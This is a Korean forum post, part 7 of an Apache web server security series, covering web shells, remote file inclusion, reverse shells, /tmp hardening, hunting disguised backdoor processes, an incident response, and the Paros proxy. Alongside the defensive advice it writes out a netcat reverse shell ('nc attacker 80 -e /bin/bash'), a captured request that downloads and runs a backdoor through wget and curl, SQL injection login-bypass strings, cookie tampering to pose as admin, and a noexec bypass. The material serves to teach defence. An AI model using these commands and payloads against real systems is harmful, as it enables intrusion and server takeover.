아파치웹서버보안 #7: 보안의 새로운 화두, 웹해킹
작성자 정보
- 관리자 작성
- 작성일
컨텐츠 정보
- 2,672 조회
- 0 추천
- 목록
본문
보안의 새로운 화두, 웹해킹
앞에서 수차례 강조한 바와 같이 웹 해킹은 지금까지도 그랬고 앞으로도 중요한 보안 이슈가 될 것이다.
. 백번 강조하는 것보다 실제로 많이 사용되는 방법을 소개하는 것으로 대신하겠다.
입력값 검증 부재 등 프로그램의 취약성을 이용하는 sql injection이나 XSS 공격 등은 워낙 잘 알려져 있는데, 시스템적인 입장에서 가장 빈번하게 악용되는 방법 중 하나는 바로 파일 업로드 기능이 제공되는 게시판을 통해 또는 웹 응용 프로그램의 취약성을 통해 쉘 명령어를 실행할 수 있는 악의적인 스크립트 파일을 업로드하여 실행하는 것이다.
. 이러한 경우 굳이 어렵게 시스템의 취약성을 찾아 해킹하지 않더라도 웹 서버의 실행권한인 nobody나 apache등의 권한을 쉽게 획득할 수 있게 된다.
특히 최근의 웹쉘 프로그램은 단순한 기능을 제공하는 것에서부터 자동화/메뉴화 되어 마우스 클릭만으로 자동으로 여러 가지 복잡한 작업을 한 번에 실행해 주는 경우도 많아지고 있다.
. 특히 웹쉘의 경우 공격자 입장에서 별도의 포트를 점유하지 않고 단지 웹사이트를 접속하는 것만으로 모든 해결이 되므로 관리자가 알기 어렵다.
[그림] 웹을 통해 쉘 명령어 실행
[그림] 자동화/메뉴화된 웹쉘
또한 php.ini에서 원격소스 실행이 가능한 allow_url_fopen = On 으로 되어 있는 경우 특정 프로그램의 취약성을 이용하여 다음과 같이 실행이 가능한데, 여기에서 xxxx.com은 사전에 root.gif 라는 백도어를 업로드해 놓은 사이트이고, zzzz.com은 취약한 게시판 프로그램이 설치되어 있는 사이트이다.
.
[그림] 웹프로그램의 취약성을 이용한 웹해킹 예
만약 php.ini에서 allow_url_fopen = Off 인 경우에는 다음과 같은 에러가 발생하게 된다.
Warning: main(): URL file-access is disabled in the server configuration in /home/antihong/public_html/zb41/skin/zero_vote/ask_password.php on line 1
따라서, allow_url_fopen = Off 로 설정하기를 권장하며 만약 특정 사이트에서는 이 기능을 필요로 할 경우 다음과 같이 설정하면 된다.
<VirtualHost 192.168.65.57> DocumentRoot /www/htdocs ServerName 192.168.65.57 php_admin_flag allow_url_fopen On </VirtualHost> |
|
위 그림과 같이 간단히 쉘 권한을 획득한 이후에는 스캔 프로그램이나 서비스거부공격 프로그램 등을 다운로드하여 실행하기만 하면 되는 것이다.
. 또한 이 외에도 아래 그림과 같이 특정 tcp 포트를 리슨하는 소켓 프로그램을 /tmp등의 디렉토리에 다운로드 후 nobody 권한으로 실행하기만 하면 되는 것으로 이후에는 해당 프로그램이 리슨하는 포트로 직접 telnet 접속하면 된다.
[그림] nobody 권한으로 소켓 프로그램 실행
위 그림에서 pid가 30609인 프로세스를 보면 이름이 httpd이어서 웹 데몬처럼 보이지만 위에 보이는 웹데몬인 /usr/local/apache/bin/httpd와 다르므로 웹 데몬이 아니라는 것을 알 수 있다.
. 실제로 netstat을 실행해 보면 4561/tcp를 리슨하고 있는 것을 알 수 있는데, 해당 포트로 접속해 보면 아래와 같이 암호입력 없이 바로 쉘이 얻어지는 것을 알 수 있다.
.
[그림] 쉘로 접속한 화면
이후 일반 유저 권한으로 모든 명령어를 실행할 수 있는데, 중요한 것은 이때의 접속 정보등은 로그에 전혀 남지 않는다는 것이다.
. telnetd나 sshd등을 통한 쉘이나 웹 접속이 아닌 전혀 별개의 응용 프로그램을 통해 접속한 것이기 때문이다.
. 그러나 위와 같은 경우 방화벽이 설정되어 있어 외부에서 80번등과 같이 특정 포트로만 접근이 허용된 경우에는 사용할 수 없기 때문에 최근에는 방화벽을 우회하기 위한 reverse telnet을 이용하는 경우도 증가하고 있는데, 실제로 공격이 어떻게 이루어지는지 알아야 하기 때문에 이에 대해서 간략히 살펴보도록 하자.
아래에서는 nobody등의 권한을 획득한 상태에서 nc(netcat)만을 이용해 reverse telnet을 이용하는 방법에 대해 알아보도록 하겠다. victim이 해킹하고자 하는 서버이고, attacker가 미리 준비된 공격자의 시스템이라고 가정한다.
먼저 victim 서버에서 사용할 netcat을 다운로드 받는다.
$ wget http://freshmeat.net/redir/netcat/7041/url_tgz/nc110.tgz
리눅스에서 컴파일하면 에러가 나므로 패치 파일을 다운로드 받는다.
$ wget -nc http://englanders.cc/pub/linux/patches/nc110.patch
이후 압축 해제한 디렉토리에서 다운로드 받은 패치 파일을 패치한다.
$ patch -p1 < nc110.patch
이와 같이 사용하는 이유는 nc에서 -e 옵션을 사용하기 위해서인데, rpm으로 설치된 nc는 -e 옵션이 제공되지 않기 때문이다.
. 물론 공격자 입장에서는 이 과정이 필요없이 -e 옵션 사용이 가능하도록 패치된 nc 실행 파일을 업로드하기만 하면 끝날 것이다.
. 또는 nc외에도 같은 기능을 제공하는 “Connect Back Shell”이라는 이름의 소스도 인터넷에 공개되어 있다.
.
-e 옵션을 제공하기 위해 Makefile을 수정한다.
Makefile 파일을 열어 아래와 같이 “-DGAPING_SECURITY_HOLE” 부분을 추가하면 된다.
linux: make -e $(ALL) $(MFLAGS) XFLAGS='-DGAPING_SECURITY_HOLE -DLINUX' STATIC=-static |
이후 make linux로 컴파일한다.
$ make linux
이제 준비가 완료되었다.
먼저 공격자의 서버에서 nc를 이용하여 80번 또는 임의의 포트로 리슨한다.
[root@attacker root]# nc -vv -l -p 80
listening on [any] 80 ...
이제 victim 서버에서 아래와 같이 실행한다.
$ ./nc attacker 80 -e /bin/bash
연결이 완료되었다. 이제 attacker 서버에서 명령어를 입력하면 마치 victim 서버에서 입력한 것처럼 작동하게 된다.
[root@attacker root]# nc -vv -l -p 80
listening on [any] 80 ...
uname -a
Linux victim.com 2.4.36 #1 2008. 01. 14. 15:09:30 KST i686 GNU/Linux
//공격자의 서버인 attacker에서 uname을 실행하였는데, 결과는 victim 서버에서 실행되는 것을 알 수 있다.
.
이때의 패킷을 tcpdump로 잡으면 다음과 같다.
# tcpdump host victim
tcpdump: listening on eth0
victim.41532 > attacker.http: S 443690746:443690746(0) win 5840
attacker.http > victim.41532: S 2052667649:2052667649(0) ack 443690747
victim.41532 > attacker.http: . ack 1 win 5840 (DF) [tos 0x8]
==> 여기까지는 3 way handshake 통신이다.
.
attacker.http > victim.41462: P 3350565979:3350565982(3) ack 1635868326
victim.41462 > attacker.http: P 1:89(88) ack 3 win 5840 (DF) [tos 0x8]
attacker.http > victim.41462: . ack 89 win 5840 (DF)
위 패킷의 흐름을 보면 마치 victim에서 attacker로 웹 접속하는 것처럼 보이게 된다.
하지만 실제로는 attacker가 victim에 쉘 접속하여 명령어를 입력하는 것이다.
. 대부분 방화벽이 설치된 곳에서 외부에서 방화벽 내부로의 접속은 엄격히 제한하고 있으나 내부에서 외부로의 접속은 허용되어 있는 경우가 많아 이러한 경우 방화벽과 관계없이 쉘 접속을 할 수 있다.
는 것을 알 수 있다.
. 이와 같은 공격은 사전에 웹해킹을 통해 웹서버의 실행 권한을 획득하여야 하므로 앞에서 살펴보았던 rewrite나 mod_security 모듈을 이용하여 nobody등 웹 서버의 실행권한을 빼앗기지 않도록 하는 것이 중요하다 할 것이다.
.
그러나 reverse telnet을 사용하기 위해 굳이 복잡한 nc를 사용할 필요 없이 곳곳에 산재해있는 편리한 툴을 이용하는 경우가 더 많다. google에서 reervse telnet 등으로 검색하면 엄청나게 많은 소스를 다운로드할 수 있을 것이다.
.
또한 적지 않은 자동화된 웹해킹 관련 툴이 백도어를 다운로드 시 wget이나 curl등의 시스템 명령어를 사용한다.
따라서 흔히 관련 파일을 사용할 경우가 없으므로 관련 파일의 퍼미션을 아래와 같이 제한해 두는 것이 좋다.
# cd /usr/bin # chmod 700 wget curl lynx GET lwp*
|
아래는 실제로 modsecurity에 탐지된 공격코드 실행 예를 보여주고 있는데, 가끔 /tmp디렉토리에 kk.txt, kk.txt.1등과 같이 동일한 파일이 보이는 이유는 아래와 같이 여러 명령어로 백도어 파일의 다운을 시도하였기 때문이다.
.
http://example.com/zboard/skin/zero_vote/login.php? dir=http://koeh.t351.com/ptjz/root.gif?&cmd=cd /tmp; lwp-download http://tw0team.name/www/kk.txt; wget http://tw0team.name/www/kk.txt; fetch http://tw0team.name/www/kk.txt; curl –O http://tw0team.name/www/kk.txt; perl kk.txt;rm –rf kk*?
|
웹해킹과 관련하여 보여 지는 또 하나의 현상은 바로 /tmp 디렉토리에 생성되는 각종 백도어에 있다.
. /tmp는 흔히 sticky bit가 설정되어 있다.
라고 하는데 이는 디렉토리의 퍼미션이 1777이어서 누구나 해당 디렉토리에 임의로 파일을 쓰거나 실행이 가능하지만 해당 파일의 삭제는 오직 생성한 유저만 가능하다는 특징이 있다.
. 이러한 디렉토리는
# find / -perm 1777
을 실행하면 확인 가능한데, 가장 대표적으로는 /tmp와 /var/tmp 그리고 /dev/shm 디렉토리가 있다.
. 공격자들은 백도어 등 악의적인 파일을 해당 디렉토리에 업로드한 후 실행하는 경우가 많은데, 이의 피해를 최소화하기 위해 /var/tmp는 /tmp로 링크하도록 한다.
# mr-f /var/tmp
# ln -s /tmp /var/tmp
그리고 아래와 같이 /tmp나 /dev/shm 등의 파티션에 실행할 수 있는 권한을 제거하기 위해 noexec 옵션을 추가하는 방안을 고려할 수 있다.
. (/tmp를 별도로 파티션을 구성하였을 경우)
/dev/sda10 /tmp ext3 defaults,noexec 1 2
none /dev/shm tmpfs defaults,noexec 0 0
만약 초기 설치 과정에서 /tmp를 별도로 마운트하지 않았을 경우에는 다음의 방법으로 설정할 수 있다.
.
# cd /dev # dd if=/dev/zero of=tmpmount bs=1024 count=800000 # mke2fs -j /dev/tmpmount 여기에서 -j 옵션은 ext3로 생성한다는 의미이며 생략하면 ext2로 생성된다.
# mount -o loop,noexec,nosuid,rw /dev/tmpmount /tmp # chmod 1777 /tmp/ 이제 설정이 완료되었다. 이후 /etc/fstab 에 아래의 내용을 설정하면 부팅시에도 자동으로 마운트하게 된다.
/dev/tmpmount /tmp xt3 loop,noexec,nosuid,rw 0 0
# df -h /dev/tmpmount 769M 17M 714M 3% /tmp 정상적으로 /tmp가 추가된 것을 알 수 있다.
. |
|
옵션을 추가한 후에는 아래와 같이 해당 파티션을 다시 마운트하면 된다.
# mount -oremount /tmp
# mount -oremount /dev/shm
최근에는 /etc/fstab 에서 디스크 대신 LABEL로 보여 어떤 파티션이 어떤 파일시스템을 마운트하는지 확인하기가 어렵다. 이러한 경우에는 findfs를 사용하면 바로 알 수 있다.
.
예) [root@sevrer ~]# cat /etc/fstab LABEL=/1 / ext3 defaults,noatime 1 1
[root@server ~]# findfs LABEL=/1 /dev/sda5 |
|
이후 mount를 실행하면 noexec가 설정되었으며 실제 간단한 스크립트를 작성하여 실행하면 다음과 같이 에러가 발생하는 것을 알 수 있다.
.
[root@sevrer /tmp]# ./test.sh
bash: ./test.sh: Permission denied
[root@server /tmp]# ./test.cgi
bash: ./test.cgi: Permission denied
그러나, 문제는 이를 우회할 수 있는 방법이 있다.
는 것이다.
. 즉, noexec 옵션을 설정했다 하더라도 다음과 같이 실행하면 문제없이 잘 실행이 되는데 이는 test.cgi나 test.sh를 실행한 것이 아니라 해당 파일의 내용을 참조만 했을 뿐 실제 실행한 것은 각각 /usr/bin/perl 과 /bin/sh 이기 때문이다.
. 실제로 공격자들도 이와 같이 실행하기 때문에 실제로 noexec 옵션을 설정하는 것은 큰 의미가 없다고 할 수 있다.
.
$ /usr/bin/perl /tmp/test.cgi
$ /bin/sh /tmp/test.sh
공격자들은 흔히 디렉토리명을 교묘하게 숨기기 위해 “.. ” 등과 같은 디렉토리를 생성하여 이 디렉토리에 백도어를 설치하는 경우가 많아 주의깊게 보지 않으면 잘 보이지 않게 된다.
따라서 ls를 실행할 때 다음과 같이 Q 옵션을 함께 주면 큰따옴표(“”)로 보여주기 때문에 매우 유용하므로 백도어등을 찾을 때 활용하기 바란다.
# ls -laQ 합계 876 drwxrwxrwt 4 root root 299008 3월 20 16:52 "."/ drwx-----x 28 root root 4096 2월 18 05:46 ".."/ drwxrw-rw- 1 nobody nobody 427 3월 20 02:00 ".. " drwx------ 2 root root 16384 9월 27 2006 "lost+found"/
|
그럼, 어떻게 이 문제를 해결하여야 하는가? 아쉽게도 마땅한 방법이 없는 것이 사실이다.
. 당장 /tmp의 퍼미션을 변경할 경우에는 여러 응용 프로그램들이 작동하지 않게 되므로 퍼미션 변경도 불가하므로 현실적으로 /tmp등에 생성되는 파일의 모니터링을 강화하는 수 밖에는 없을 것이다.
. 게다가 일부 공격자의 경우 파일 생성 및 실행 후 흔적을 없애기 위해 파일을 바로 삭제하는 경우도 있기 때문에 파일 뿐만 아니라 프로세스에 대한 감시도 강화하여야 할 것이다.
. 특히 ps를 실행 시 백도어 프로세스는 inetd나 /sbin/mingetty, httpd 와 같이 마치 정상적인 프로세스인 것처럼 가장하는 경우가 많이 있으니 주의해서 모니터링하여야 한다.
이러한 경우에 대비하여, ps aux 실행 시 보이는 프로세스 이름과 ps auxc 실행 시 보이는 프로세스의 차이를 비교하여 판단해도 된다.
이를테면, 많이 보이는 경우는 다음과 같다.
# ps aux
nobody 27798 /usr/local/apache/bin/httpd
nobody 30380 /usr/local/apache/bin/httpd
nobody 30515 /usr/local/apache/bin/httpd
nobody 28298 /usr/local/apache/bin/httpsd
nobody 31613 /usr/local/apache/bin/httpd
위의 실행 결과에서 예민하지 않은 관리자라면 pid가 28298이 수상하다는 생각을 하지 못할 것이다.
. 그러나 이번에는 ps aux 대신 ps auxc를 실행해 보기 바란다.
# ps auxc
nobody 30380 0.0 0.9 30916 18712 ? S Sep18 0:00 httpd
nobody 30515 0.0 0.8 30580 18384 ? S Sep18 0:00 httpd
nobody 28298 0.0 0.1 8220 3108 ? S 07:40 0:00 perl
nobody 31613 0.0 0.8 29540 17076 ? S 08:07 0:00 httpd
예상대로 28298이 실제로는 perl 스크립트라는 것을 알 수 있는데, 이때 다음과 같이 실행하면 백도어의 실행 경로 등을 파악할 수 있게 된다.
# ls -la /proc/28298 또는
# lsof -p 28298
또한 아래는 실제로 웹해킹이 발생하였던 서버에서 필자가 처리한 방법을 보여주고 있는데, 참고하기 바란다.
내용 : 특정서버에서 외부로 과도한 udp flooding 패킷 발생 확인방법 : 12장에서 배울 flowscan을 통한 모니터링
2008/03/14 13:28:02 192.168.66.241.43965 -> 216.145.22.82.59270 17 1 1500 2008/03/14 13:28:02 192.168.66.241.43965 -> 216.145.22.82.21885 17 1 1500 .....
위의 의미는 192.168.66.241 에서 216.145.22.82로 1패킷당 1500byte의 udp flooding이 발생하고 있음을 의미한다.
공격하고 있는 해당 서버인 192.168.66.241 으로 로그인해 보니 별 다른 백도어 프로세스는 보이지 않았으나 아래와 같이 pid가 11832인 프로세스가 과도한 CPU를 유발하고 있음을 확인할 수 있었다.
# ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND nobody 11832 24.3 0.8 11636 8876 ? R 13:02 13:58 /usr/local/apache/bin/httpd
# ls -la /proc/11832/ total 0 dr-xr-x--- 3 nobody root 0 Mar 14 13:56 ./ dr-xr-xr-x 124 root root 0 Jan 12 06:05 ../ -r--r--r-- 1 root root 0 Mar 14 13:59 cmdline lrwxrwxrwx 1 root root 0 Mar 14 13:59 cwd -> /home/user/public_html/bbs/skin/zero_vote/
# lsof -p 11832 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME httpd 11832 root cwd DIR 3,1 4096 13418610/home/user/public_html/bbs/skin/zero_vote/ httpd 11832 root 5u IPv4 35137515 TCP 192.168.66.241:54307->xxxx-servers.com:ircd (ESTABLISHED)
위의 분석을 통해 웹을 통해 /zero_vote/라는 경로에서 irc(6667/tcp)를 통해 외부의 특정서버와 연결되어 있음을 알 수 있다.
. 그리고 추가적으로 아래 명령어를 통해 216.145.22.82로 임의의 쓰레기 데이터를 전송하고 있음을 확인할 수 있다.
.
# strace -fF -s 256 -p 11832 fcntl64(6, F_GETFL) = 0x2 (flags O_RDWR) fcntl64(6, F_SETFL, O_RDWR|O_NONBLOCK) = 0 connect(6, {sin_family=AF_INET, sin_port=htons(41288), sin_addr=inet_addr("216.145.22.82")}}, 16) = 0 fcntl64(6, F_SETFL, O_RDWR) = 0 send(6,"X\253\21wKB\212fM\370\2126b\357\370\370\271\354\34 \341nh\371&\300\33\31;4\242\367\343\214\10\366\351a,\326K\205\345\350\240\7\214\357\254\250\262\30\336201e\346"..., 4096, 0) = -1 EPERM (Operation not permitted) close(6) = 0 time(NULL) = 1205470873 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 6 fcntl64(6, F_GETFL) = 0x2 (flags O_RDWR) fcntl64(6, F_SETFL, O_RDWR|O_NONBLOCK) = 0 connect(6, {sin_family=AF_INET, sin_port=htons(23193), sin_addr=inet_addr("216.145.22.82")}}, 16) = 0 fcntl64(6, F_SETFL, O_RDWR) = 0
물론 위의 경우 특정 게시판 프로그램인 웹 프로그램의 취약성을 이용한 공격이므로 근본적인 원인인 취약성을 제거하여야하겠지만 그렇지 못한 경우 아래와 같이 실행하여 iptables에서 비정상 udp 트래픽을 차단할 수 있다.
. 통상적으로 dns외에는 정상적인 udp 트래픽이 없으므로 아래와 같이 실행하면 outbound 트래픽 중에서 53/udp를 제외한 트래픽을 차단하게 된다.
# iptables -I OUTPUT -p udp ! --dport 53 -m state --state NEW -j DROP
잠시후 확인해 보면 아래와 같이 차단된 트래픽을 확인할 수 있는데, 아래의 경우 4,065,000개의 패킷이 차단되었으며 bps로는 약 17G정도 되는 것을 알 수 있다.
.
# iptables -L -n -v | grep udp 4065K 17G DROP udp -- * * 0.0.0.0/0 0.0.0.0/0 udp dpt:!53 state NEW |
|
웹해킹 공격자들은 자동화된 공격도구가 아닌 웹 프록시라는 프로그램을 자주 활용하기도 한다.
이중 paros라는 프로그램은 일종의 웹 프록시 프로그램으로 웹 사이트에 대한 취약성을 분석할 수 있을 뿐만 아니라 다르게 활용한다면 강력한 웹 해킹 도구가 될 수도 있는데, 사용방법이 매우 쉬우면서도 많은 기능을 제공하기 때문에 자주 사용되는 프로그램이다.
.
이 프로그램은 홈페이지(http://www.parosproxy.org/)에서 자유롭게 다운로드 받을 수 있는데, 웹 서버와 클라이언트 사이에 위치하여 HTTP와 HTTPS 데이터뿐만 아니라 cookies 와 form 필드 등을 중간에서 가로채어 모니터링을 하거나 값을 변경하여 서버에 보낼 수도 있다.
.
이를 사용하기 위해서는 먼저 홈페이지에서 최신 버전의 프로그램을 다운로드받도록 한다.
이 프로그램이 작동하기 위해서는 버전 1.4 이상의 JRE(Java Run Time Enviroment)가 설치되어 있어야 하므로 만약 설치되어 있지 않다면 먼저 http://java.sun.com/j2se/에서 다운로드 받아 설치하도록 한다.
paros를 윈도우에서 사용할 경우에는 최신버전의 윈도우 실행 파일( paros-x.x.x-win.exe)을 다운로드받아 실행을 하면 설치를 시작한다.
설치가 끝난 후 바탕화면에 생성된 아이콘을 실행하면 되는데, paros는 실행과 동시에 127.0.0.1의 8080번 포트를 리슨하므로 혹 다른 프로그램이 8080 포트를 사용하지는 않는지 확인해 보도록 하기 바란다.
웹 프록시로서 사용하기 위해서는 브라우저에서 모든 접속이 paros를 거쳐서 접속이 될 수 있도록 설정하여야 한다.
이를 위해서는 브라우저에서 도구-> 인터넷옵션 -> 연결 -> LAN설정에 있는 “프록시 서버” 부분의 주소에 “127.0.0.1"을, 포트에 "8080"을 입력 후 확인을 클릭하여 저장하면 된다.
이제 paros를 실행한 후 브라우저를 띄워 홈페이지를 접속해 보자. proxy를 거치기 때문에 속도는 다소 느리지만 잠시 후 paors 프로그램에 사이트 접속 정보들이 순서대로 기록되고 있는 것을 알 수 있다.
.
[그림] paros 실행 화면
좌측 상단에 있는 Sites에는 사이트를 접속하는 도메인별로 구분하여 기록되고 있고 하단에는 GET과 POST 메소드를 통해 어떤 사이트를 접속하는지에 대한 상세 정보가 보인다. 해당 GET이나 POST 접속을 클릭하면 상단에 HTTP Header 및 데이터가 상세하게 보인다. 이는 Request와 Response로 나뉘는데, Response를 선택하면 Request에 대한 응답 헤더와 메시지도 볼 수 있다.
. 하단의 화면을 보면 각 요청별로 서버의 응답 상태(200 OK 여부) 및 소요된 시간정보도 함께 출력되어 사이트에 대한 분석을 위해서도 좋은 정보를 제공한다.
paros는 여러 가지 기능을 제공하지만 그 중에서 Cookie injection 공격이나 특수문자 등의 입력을 차단한 자바스크립트 등을 우회할 때 사용되는 것으로 Tools > Manual Request Editor이라는 메뉴가 웹 해킹에 자주 사용된다.
이 메뉴는 여러 가지로 활용 가능하다.
이를테면 id/pw 부분에 admin / ' or 1=1--를 입력하여 sql injection을 통해 인증을 우회하려고 하는데, 자바스크립트에서 특수문자 입력을 거부한다면 해당 Request 부분을 복사해서 아래 그림과 같이 설정 후 Send를 한다면 서버에 직접 전송하게 되므로 자바스크립트와 같은 클라이언트 측에서의 입력 값 점검을 우회할 수 있다.
. 가장 많이 사용되는 sql injection 기법은 id/pw 부분에 각각 admin / ' or 1=1--(mssql, oracle의 경우) 또는 ' or 1=1#(mysql의 경우) 또는 admin' / or 1=1-- 또는 or 1=1# 를 입력하여 암호를 인증하지 않고 우회하는 방법인데 아직까지도 많은 사이트가 이러한 간단한 공격에도 취약한 것으로 알려져 있다.
.
[그림] Manual Request Editor
또한 인증방식으로 Session이 아닌 Cookie를 사용한다면 이 역시 이 프로그램을 통해 쉽게 우회가 가능하다.
Request 부분을 복사하여 Cookie의 id부분만 이를테면 자신의 id가 아닌 admin 등으로 수정하여 Send를 실행하면 해당 ID인 admin 권한으로 실행을 하게 될 것이다.
. 각자 자신의 사이트는 웹 해킹에 취약하지 않은지 점검해 보기 바란다.
지금까지 살펴본 방법 외에도 웹 해킹은 더욱 은밀하고 다양한 방식으로 진행될 수 있으므로 이에 대응하기 위해서는 늘 새로운 유형의 공격 방식과 대응 방법에 익숙해지도록 노력하여야 한다.
특히 owasp홈페이지(http://www.owasp.org/)에서는 가장 심각한 10가지 취약성으로 각각 입력값 검증 부재, 취약한 접근 통제, 취약한 인증 및 세션 관리, 크로스 사이트 스크립팅(XSS) 취약점, 버퍼 오버플로우, 삽입 취약점, 부적절한 에러 처리, 취약한 정보 저장 방식, 서비스 방해 공격, 부적절한 환경 설정으로 지정하여 각각에 대한 대응 방법에 대해서 설명하고 있는데, 자세한 내용은 홈페이지를 참고하기 바란다.
다음 장에서는 메일 서버의 보안을 강화할 수 있는 방안에 대해 살펴보기로 하자.
관련자료
-
이전
-
다음